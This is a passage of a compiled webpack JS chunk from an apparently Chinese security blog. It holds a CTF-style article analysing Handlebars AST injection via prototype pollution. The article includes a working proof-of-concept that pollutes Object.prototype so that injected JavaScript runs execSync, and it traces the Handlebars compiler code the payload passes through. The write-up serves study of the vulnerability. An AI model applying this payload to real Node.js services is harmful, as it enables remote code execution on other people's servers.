jsx)(n.h2,{id:"\u7b2c\u4e09\u65b9\u67e5\u8be2\u7f51\u7ad9",children:"\u7b2c\u4e09\u65b9\u67e5\u8be2\u7f51\u7ad9"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"http://icp.chinaz.com/",children:"ICP\u5907\u6848\u67e5\u8be2 - \u7ad9\u957f\u5de5\u5177"})}),"\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"https://www.aizhan.com/cha/",children:"\u7ad9\u957fseo\u7efc\u5408\u67e5\u8be2\u5de5\u5177-\u7231\u7ad9\u7f51"})}),"\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"https://www.beianx.cn/",children:"ICP\u5907\u6848\u67e5\u8be2- \u7f51\u7ad9\u5907\u6848\u67e5\u8be2"})}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.a,{href:"https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/01.%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/1.%E8%B5%84%E4%BA%A7%E6%94%B6%E9%9B%86/01.%E4%B8%BB%E5%9F%9F%E5%90%8D%E6%94%B6%E9%9B%86/01.ICP%E5%A4%87%E6%A1%88%E6%9F%A5%E8%AF%A2.html",children:"ICP\u5907\u6848\u67e5\u8be2 \xb7 d4m1ts \u77e5\u8bc6\u5e93"})})]})}function a(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/54bf02cb.98221bae.js b/assets/js/54bf02cb.98221bae.js new file mode 100644 index 0000000..f2c2bc1 --- /dev/null +++ b/assets/js/54bf02cb.98221bae.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2049],{12685:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/20210925163678af9e286637ed6de903-c9940ce49830ff56af6e2088dde6af33.png"},28453:(e,n,t)=>{t.d(n,{R:()=>o,x:()=>i});var r=t(96540);const s={},a=r.createContext(s);function o(e){const n=r.useContext(a);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:o(e.components),r.createElement(a.Provider,{value:n},e.children)}},44449:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/image-20251014205208357-b81b6911530bbd8dbf25892fa0f0a8bf.png"},54792:(e,n,t)=>{t.d(n,{A:()=>r});const r=t.p+"assets/images/2021092516367021e78643cf9a68f7c7-aa29023b6519b54df5e720070bf0ba9f.png"},99801:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>l,contentTitle:()=>i,default:()=>p,frontMatter:()=>o,metadata:()=>r,toc:()=>c});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165","title":"Handlebars-AST\u6ce8\u5165","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/05.Handlebars-AST\u6ce8\u5165.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/05.Handlebars-AST\u6ce8\u5165.md","tags":[],"version":"current","sidebarPosition":5,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397"},"next":{"title":"2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/"}}');var s=t(74848),a=t(28453);const o={},i="Handlebars AST\u6ce8\u5165 \u914d\u5408\u539f\u578b\u94fe\u6c61\u67d3",l={},c=[{value:"\u539f\u7406\u56fe",id:"\u539f\u7406\u56fe",level:2},{value:"Payload",id:"payload",level:2},{value:"\u6f0f\u6d1e\u5206\u6790",id:"\u6f0f\u6d1e\u5206\u6790",level:2},{value:"\u8c03\u7528\u6808",id:"\u8c03\u7528\u6808",level:3},{value:"\u89e3\u6790\u5165\u53e3",id:"\u89e3\u6790\u5165\u53e3",level:3},{value:"\u89e3\u6790AST",id:"\u89e3\u6790ast",level:3},{value:"\u7f16\u8bd1\u73af\u5883\u53d8\u91cf",id:"\u7f16\u8bd1\u73af\u5883\u53d8\u91cf",level:3},{value:"\u7f16\u8bd1\u6a21\u677f",id:"\u7f16\u8bd1\u6a21\u677f",level:3},{value:"\u751f\u6210\u6a21\u677f",id:"\u751f\u6210\u6a21\u677f",level:3},{value:"\u6a21\u677f\u51fd\u6570\u6267\u884c",id:"\u6a21\u677f\u51fd\u6570\u6267\u884c",level:3},{value:"\u88ab\u6c61\u67d3\u7684\u51fd\u6570",id:"\u88ab\u6c61\u67d3\u7684\u51fd\u6570",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u62d3\u5c55",id:"\u62d3\u5c55",level:2},{value:"BooleanLiteral",id:"booleanliteral",level:3},{value:"PartialStatement",id:"partialstatement",level:3},{value:"PartialBlockStatement",id:"partialblockstatement",level:3},{value:"BlockStatement",id:"blockstatement",level:3},{value:"Decorator",id:"decorator",level:3},{value:"inf Hash",id:"inf-hash",level:3},{value:"\u4f8b\u9898",id:"\u4f8b\u9898",level:2}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,a.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 20:53:34"})]})})]}),"\n",(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"handlebars-ast\u6ce8\u5165-\u914d\u5408\u539f\u578b\u94fe\u6c61\u67d3",children:"Handlebars AST\u6ce8\u5165 \u914d\u5408\u539f\u578b\u94fe\u6c61\u67d3"})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u8be6\u7ec6\u5206\u6790Handlebars AST\u6ce8\u5165"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u539f\u7406\u56fe",children:"\u539f\u7406\u56fe"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.a,{href:"https://raw.githubusercontent.com/Tyaoo/PicBed/master/img/PicGo-Github-PicBed/20210925163678af9e286637ed6de903.png",children:(0,s.jsx)(n.img,{alt:"image-20210925022250921",src:t(12685).A+"",width:"871",height:"412"})})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"handlebars"}),"\u7684",(0,s.jsx)(n.code,{children:"parser"}),"\u5728\u89e3\u6790",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u7c7b\u578b\u7684\u5b57\u7b26\u4e32\u65f6\u4f1a\u4f7f\u7528",(0,s.jsx)(n.code,{children:"Number()"}),"\u51fd\u6570\u8fdb\u884c\u5f3a\u5236\u8f6c\u6362\uff0c\u6b63\u5e38\u60c5\u51b5\u4e0b\u8fd9\u4e2a\u5b57\u7b26\u4e32\u53ea\u80fd\u6570\u5b57\uff0c\u4f46\u662f\u7528\u8fc7\u539f\u578b\u94fe\u6c61\u67d3\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u4e00\u4e2a\u975e\u6570\u5b57\u578b\u7684\u5b57\u7b26\u4e32"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\parser.js\n\ncase 35:\n this.$ = { type: 'StringLiteral', value: $$[$0], original: $$[$0], loc: yy.locInfo(this._$) };\n break;\ncase 36:\n this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };\n break;\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u5c06AST\u7f16\u8bd1\u4e3a\u51fd\u6570\u65f6\uff0c",(0,s.jsx)(n.code,{children:"handlebars"}),"\u7528",(0,s.jsx)(n.code,{children:"pushString"}),"\u5c06\u5b57\u7b26\u4e32\u4f20\u5230",(0,s.jsx)(n.code,{children:"opcode"}),"\u4e2d\uff0c\u7528",(0,s.jsx)(n.code,{children:"pushLiteral"}),"\u5c06\u6570\u5b57\u548c\u5e03\u5c14\u503c\u4f20\u5165\u5230",(0,s.jsx)(n.code,{children:"opcode"}),"\u4e2d\uff0c\u800c\u8fd9\u4e2a",(0,s.jsx)(n.code,{children:"opcode"}),"\u5c31\u662f\u4e4b\u540e\u7528\u6765\u6784\u9020\u6a21\u677f\u51fd\u6570\u7684\uff0c",(0,s.jsx)(n.code,{children:"Literal"}),"\u7c7b\u578b\u5728AST\u4e2d\u8868\u793a\u53d8\u91cf\u7684\u610f\u601d\uff0c\u5177\u4f53\u53ef\u4ee5\u53c2\u8003",(0,s.jsx)(n.a,{href:"https://docs.esprima.org/en/latest/syntax-tree-format.html",children:"Esprima\u8bed\u6cd5\u6811\u6807\u51c6"}),"\uff0c\u6240\u4ee5\u6211\u4eec\u4e0b\u9762\u6211\u4eec\u80fd\u591f\u5229\u7528\u7684\u7c7b\u578b\u6709",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u548c",(0,s.jsx)(n.code,{children:"BooleanLiteral"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n StringLiteral: function StringLiteral(string) {\n this.opcode('pushString', string.value); // \u5b57\u7b26\u4e32\u4f7f\u7528pushString\n },\n\n NumberLiteral: function NumberLiteral(number) { \n this.opcode('pushLiteral', number.value); // \u6570\u5b57\u4f7f\u7528pushLiteral\n },\n\n BooleanLiteral: function BooleanLiteral(bool) {\n this.opcode('pushLiteral', bool.value); // \u5e03\u5c14\u503c\u4f7f\u7528pushLiteral\n },\n\n UndefinedLiteral: function UndefinedLiteral() {\n this.opcode('pushLiteral', 'undefined');\n },\n\n opcode: function opcode(name) {\n this.opcodes.push({\n opcode: name,\n args: slice.call(arguments, 1),\n loc: this.sourceNode[0].loc\n });\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u90a3\u4e48\u6211\u4eec\u5982\u4f55\u8c03\u7528\u8fd9\u4e9b\u51fd\u6570\u5462\uff0c",(0,s.jsx)(n.code,{children:"handlebars"}),"\u5728\u7f16\u8bd1\u8bed\u6cd5\u6811\u65f6\u4f1a\u8c03\u7528\u4e00\u4e2a\u53eb",(0,s.jsx)(n.code,{children:"accept"}),"\u7684\u51fd\u6570\u6765\u5904\u7406\u6211\u4eec\u7684\u8bed\u6cd5\u6811\u8282\u70b9\uff0c\u4ed6\u4f1a\u8c03\u7528",(0,s.jsx)(n.code,{children:"node.type"}),"\u5bf9\u5e94\u7684\u6784\u9020\u51fd\u6570\u6765\u4fee\u6539",(0,s.jsx)(n.code,{children:"opcode"}),"\uff0c\u6240\u4ee5\u6211\u4eec\u7684\u91cd\u70b9\u4e5f\u53ef\u4ee5\u8f6c\u6362\u6210\u5982\u4f55\u63a7\u5236",(0,s.jsx)(n.code,{children:"accept(node)"}),"\u4e2d",(0,s.jsx)(n.code,{children:"node"}),"\u503c\uff0c\u4e14\u4fdd\u8bc1\u89e3\u6790\u6d41\u7a0b\u6b63\u5e38\u8fdb\u884c"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n \n accept: function accept(node) {\n /* istanbul ignore next: Sanity code */\n if (!this[node.type]) {\n throw new _exception2['default']('Unknown type: ' + node.type, node);\n }\n\n this.sourceNode.unshift(node);\n var ret = this[node.type](node); // \u8c03\u7528node.type\u5bf9\u5e94\u7684\u6784\u9020\u51fd\u6570\n this.sourceNode.shift();\n return ret;\n },\n"})}),"\n",(0,s.jsx)(n.h2,{id:"payload",children:"Payload"}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u539f\u6587\u4f5c\u8005\u91c7\u7528\u7684payload"}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'Copy successfullyconst Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "MustacheStatement",\n "path": 0,\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n "loc": {\n "start": 0\n }\n}];\n\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u5927\u6982\u6d41\u7a0b\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5c06",(0,s.jsx)(n.code,{children:"type"}),"\u4fee\u6539\u4e3a",(0,s.jsx)(n.code,{children:"Program"}),"\u7ed5\u8fc7",(0,s.jsx)(n.code,{children:"Lexer"}),"\u89e3\u6790"]}),"\n",(0,s.jsxs)(n.li,{children:["\u6c61\u67d3",(0,s.jsx)(n.code,{children:"Program"}),"\u4e2d\u7684",(0,s.jsx)(n.code,{children:"body"}),"\uff0c\u6ce8\u5165\u81ea\u5b9a\u4e49\u7684",(0,s.jsx)(n.code,{children:"AST"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u5728",(0,s.jsx)(n.code,{children:"compiler.js"}),"\u6587\u4ef6\u4e2d\u627e\u5230\u53ef\u7528",(0,s.jsx)(n.code,{children:"Gadget"}),"\uff0c\u6b64",(0,s.jsx)(n.code,{children:"Gadget"}),"\u80fd\u591f\u63a7\u5236",(0,s.jsx)(n.code,{children:"accept(node)"}),"\u4e2d",(0,s.jsx)(n.code,{children:"node"}),"\u503c\uff0c\u539f\u6587\u4f5c\u8005\u5229\u7528\u7684\u662f",(0,s.jsx)(n.code,{children:"MustacheStatement"})]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u6f0f\u6d1e\u5206\u6790",children:"\u6f0f\u6d1e\u5206\u6790"}),"\n",(0,s.jsx)(n.h3,{id:"\u8c03\u7528\u6808",children:"\u8c03\u7528\u6808"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"compiler.js/ret()\n compiler.js/compileInput()\n base.js/parse()\n base.js/parseWithoutProcessing()\n visitor.js/accept()\n compiler.js/compile()\n compiler.js/accept()\n compiler.js/Program()\n compiler.js/MustacheStatement()\n compiler.js/NumberLiteral() <-- \u6ce8\u5165payload\n javascript-compiler.js/compile()\n javascript-compiler.js/createFunctionContext <-- \u751f\u6210\u6a21\u677f\u51fd\u6570\u4f53\n handlebars.runtime.js/create()\n runtime.js/ret()\n runtime.js/executeDecorators()\n anonymous/templateSpec.main()\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u89e3\u6790\u5165\u53e3",children:"\u89e3\u6790\u5165\u53e3"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function ret(context, execOptions) {\n if (!compiled) {\n compiled = compileInput(); // \u7f16\u8bd1\u8f93\u5165\n }\n return compiled.call(this, context, execOptions);\n }\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u89e3\u6790ast",children:"\u89e3\u6790AST"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function compileInput() {\n var ast = env.parse(input, options), // \u83b7\u53d6\u8bed\u6cd5\u6811\n environment = new env.Compiler().compile(ast, options), \n templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);\n return env.template(templateSpec);\n }\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8bed\u6cd5\u6811\u89e3\u6790"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\base.js\n\nfunction parse(input, options) {\n var ast = parseWithoutProcessing(input, options); // \u8f6c\u5316\u4e3aAST\n var strip = new _whitespaceControl2['default'](options);\n\n return strip.accept(ast); // \u89e3\u6790AST\n}\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u7684\u91cd\u70b9\u662f\u5c06",(0,s.jsx)(n.code,{children:"input.type"}),"\u6c61\u67d3\u4e3a",(0,s.jsx)(n.code,{children:"Program"}),"\uff0c\u4ece\u800c\u7ed5\u8fc7AST\u7684\u8f6c\u6362\u9636\u6bb5"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\base.js\n\nfunction parseWithoutProcessing(input, options) {\n // Just return if an already-compiled AST was passed in.\n if (input.type === 'Program') { // \u5982\u679c\u5df2\u7ecf\u662f\u8f6c\u6362\u597d\u7684AST\u5c31\u76f4\u63a5\u8fd4\u56de\n return input;\n }\n\n _parser2['default'].yy = yy;\n\n // Altering the shared object here, but this is ok as parser is a sync operation\n yy.locInfo = function (locInfo) {\n return new yy.SourceLocation(options && options.srcName, locInfo);\n };\n\n var ast = _parser2['default'].parse(input); // \u5426\u5219\u5c31\u8c03\u7528Lexer\u89e3\u6790\u8282\u70b9\u751f\u6210AST\n\n return ast;\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u91cc\u662f\u9012\u5f52\u89e3\u6790\u8bed\u6cd5\u6811"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\visitor.js\n\n accept: function accept(object) {\n if (!object) {\n return;\n }\n\n /* istanbul ignore next: Sanity code */\n if (!this[object.type]) {\n throw new _exception2['default']('Unknown type: ' + object.type, object);\n }\n\n if (this.current) {\n this.parents.unshift(this.current);\n }\n this.current = object;\n\n var ret = this[object.type](object); // \u8c03\u7528\u5bf9\u5e94\u7684\u6784\u9020\u51fd\u6570\u89e3\u6790AST\n\n this.current = this.parents.shift();\n\n if (!this.mutating || ret) {\n return ret;\n } else if (ret !== false) {\n return object;\n }\n },\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u7f16\u8bd1\u73af\u5883\u53d8\u91cf",children:"\u7f16\u8bd1\u73af\u5883\u53d8\u91cf"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function compileInput() {\n var ast = env.parse(input, options), \n environment = new env.Compiler().compile(ast, options), // \u7f16\u8bd1\u73af\u5883\u53d8\u91cf\n templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);\n return env.template(templateSpec);\n }\n// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n compile: function compile(program, options) {\n this.sourceNode = [];\n this.opcodes = [];\n this.children = [];\n this.options = options;\n this.stringParams = options.stringParams;\n this.trackIds = options.trackIds;\n\n options.blockParams = options.blockParams || [];\n\n options.knownHelpers = _utils.extend(Object.create(null), {\n helperMissing: true,\n blockHelperMissing: true,\n each: true,\n 'if': true,\n unless: true,\n 'with': true,\n log: true,\n lookup: true\n }, options.knownHelpers);\n\n return this.accept(program); // \u4f20\u5165accept\u51fd\u6570\u8fdb\u884c\u5904\u7406\n },\n \n// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n accept: function accept(node) {\n /* istanbul ignore next: Sanity code */\n if (!this[node.type]) {\n throw new _exception2['default']('Unknown type: ' + node.type, node);\n }\n\n this.sourceNode.unshift(node);\n var ret = this[node.type](node); // \u63d0\u53d6AST\u5bf9\u5e94\u7684type\u5e76\u8c03\u7528\u8be5\u6784\u9020\u51fd\u6570\n this.sourceNode.shift();\n return ret;\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7b2c\u4e00\u6b21",(0,s.jsx)(n.code,{children:"node.type"}),"\u88ab\u6c61\u67d3\u4e3a",(0,s.jsx)(n.code,{children:"program"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n Program: function Program(program) { // \u5229\u7528Program\u7c7b\u6765\u81ea\u5b9a\u4e49\u7c7b\n this.options.blockParams.unshift(program.blockParams);\n\n var body = program.body, // \u901a\u8fc7\u6c61\u67d3body\u63d2\u5165\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801\n bodyLength = body.length;\n for (var i = 0; i < bodyLength; i++) {\n this.accept(body[i]); // \u63d0\u53d6\u6211\u4eec\u7684body\u7ee7\u7eed\u8c03\u7528accept\u8fdb\u884c\u89e3\u6790\n }\n\n this.options.blockParams.shift();\n\n this.isSimple = bodyLength === 1;\n this.blockParams = program.blockParams ? program.blockParams.length : 0;\n\n return this;\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7b2c\u4e8c\u6b21",(0,s.jsx)(n.code,{children:"node.type"}),"\u4e3a\u81ea\u5b9a\u4e49\u7684",(0,s.jsx)(n.code,{children:"MustacheStatement"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n MustacheStatement: function MustacheStatement(mustache) {\n this.SubExpression(mustache); // 1\n\n if (mustache.escaped && !this.options.noEscape) {\n this.opcode('appendEscaped');\n } else {\n this.opcode('append'); // \u5982\u679c\u6ca1\u6709\u8bbe\u7f6eescaped\u7684\u8bdd\u5c31\u8fdb\u884cappend\u64cd\u4f5c\n }\n },\n \n SubExpression: function SubExpression(sexpr) {\n transformLiteralToPath(sexpr);\n var type = this.classifySexpr(sexpr);\n\n if (type === 'simple') {\n this.simpleSexpr(sexpr);\n } else if (type === 'helper') {\n this.helperSexpr(sexpr); // 2\n } else {\n this.ambiguousSexpr(sexpr);\n }\n },\n \n helperSexpr: function helperSexpr(sexpr, program, inverse) {\n var params = this.setupFullMustacheParams(sexpr, program, inverse), // 3\n path = sexpr.path,\n name = path.parts[0];\n\n if (this.options.knownHelpers[name]) {\n this.opcode('invokeKnownHelper', params.length, name);\n } else if (this.options.knownHelpersOnly) {\n throw new _exception2['default']('You specified knownHelpersOnly, but used the unknown helper ' + name, sexpr);\n } else {\n path.strict = true;\n path.falsy = true;\n\n this.accept(path);\n this.opcode('invokeHelper', params.length, path.original, _ast2['default'].helpers.simpleId(path));\n }\n },\n \n setupFullMustacheParams: function setupFullMustacheParams(sexpr, program, inverse, omitEmpty) {\n var params = sexpr.params;\n this.pushParams(params); // 4\n\n this.opcode('pushProgram', program);\n this.opcode('pushProgram', inverse);\n\n if (sexpr.hash) {\n this.accept(sexpr.hash);\n } else {\n this.opcode('emptyHash', omitEmpty);\n }\n\n return params;\n },\n \n pushParams: function pushParams(params) {\n for (var i = 0, l = params.length; i < l; i++) {\n this.pushParam(params[i]); // 5\n }\n },\n \n pushParam: function pushParam(val) {\n var value = val.value != null ? val.value : val.original || '';\n\n if (this.stringParams) {\n if (value.replace) {\n value = value.replace(/^(\\.?\\.\\/)*/g, '').replace(/\\//g, '.');\n }\n\n if (val.depth) {\n this.addDepth(val.depth);\n }\n this.opcode('getContext', val.depth || 0);\n this.opcode('pushStringParam', value, val.type);\n\n if (val.type === 'SubExpression') {\n // SubExpressions get evaluated and passed in\n // in string params mode.\n this.accept(val);\n }\n } else {\n if (this.trackIds) {\n var blockParamIndex = undefined;\n if (val.parts && !_ast2['default'].helpers.scopedId(val) && !val.depth) {\n blockParamIndex = this.blockParamIndex(val.parts[0]);\n }\n if (blockParamIndex) {\n var blockParamChild = val.parts.slice(1).join('.');\n this.opcode('pushId', 'BlockParam', blockParamIndex, blockParamChild);\n } else {\n value = val.original || value;\n if (value.replace) {\n value = value.replace(/^this(?:\\.|$)/, '').replace(/^\\.\\//, '').replace(/^\\.$/, '');\n }\n\n this.opcode('pushId', val.type, value);\n }\n }\n this.accept(val); // 6 \u5f88\u5de7\u5999\u5730\u5c06\u6211\u4eec\u7684payload\u518d\u6b21\u4f20\u5165accept\u51fd\u6570\n }\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7b2c\u4e09\u6b21",(0,s.jsx)(n.code,{children:"node.type"}),"\u4e3a",(0,s.jsx)(n.code,{children:"NumberLiteral"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n StringLiteral: function StringLiteral(string) {\n this.opcode('pushString', string.value);\n },\n\n NumberLiteral: function NumberLiteral(number) { \n this.opcode('pushLiteral', number.value); // \u5c06\u6211\u4eec\u7684payload\u8bc6\u522b\u4e3aLiteral\u800c\u76f4\u63a5\u8f6c\u8fdb\u6784\u9020\u51fd\u6570\n },\n\n BooleanLiteral: function BooleanLiteral(bool) {\n this.opcode('pushLiteral', bool.value); \n },\n\n UndefinedLiteral: function UndefinedLiteral() {\n this.opcode('pushLiteral', 'undefined');\n },\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u540e\u9762\u8fd8\u6709\u4e00\u7cfb\u5217\u5bf9",(0,s.jsx)(n.code,{children:"opcode"}),"\u7684\u64cd\u4f5c\uff0c\u5747\u4e3a",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u8bed\u6cd5\u6811\u7684\u7f16\u8bd1\u8fc7\u7a0b\uff0c\u4e0b\u56fe\u662f\u7f16\u8bd1\u597d",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u8bed\u6cd5\u6811\u4e4b\u540e",(0,s.jsx)(n.code,{children:"opcodes"}),"\u7684\u5168\u90e8\u64cd\u4f5c\uff0c\u800c\u6211\u4eec\u7684payload\u5c31\u88ab\u6ce8\u5165\u4e86\u7b2c\u4e00\u4e2a"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.a,{href:"https://raw.githubusercontent.com/Tyaoo/PicBed/master/img/PicGo-Github-PicBed/2021092516367021e78643cf9a68f7c7.png",children:(0,s.jsx)(n.img,{alt:"image-20210925113821867",src:t(54792).A+"",width:"657",height:"553"})})}),"\n",(0,s.jsx)(n.h3,{id:"\u7f16\u8bd1\u6a21\u677f",children:"\u7f16\u8bd1\u6a21\u677f"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function compileInput() {\n var ast = env.parse(input, options), \n environment = new env.Compiler().compile(ast, options),\n templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); // \u5c06\u6211\u4eec\u7684\u73af\u5883\u53d8\u91cf\u4f20\u8fdb\u53bb\u6765\u7f16\u8bd1templateSpec\n return env.template(templateSpec);\n }\n// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\javascript-compiler.js\n\n compile: function compile(environment, options, context, asObject) {\n this.environment = environment;\n this.options = options;\n this.stringParams = this.options.stringParams;\n this.trackIds = this.options.trackIds;\n this.precompile = !asObject;\n\n this.name = this.environment.name;\n this.isChild = !!context;\n this.context = context || {\n decorators: [],\n programs: [],\n environments: []\n };\n\n this.preamble();\n\n this.stackSlot = 0;\n this.stackVars = [];\n this.aliases = {};\n this.registers = { list: [] };\n this.hashes = [];\n this.compileStack = 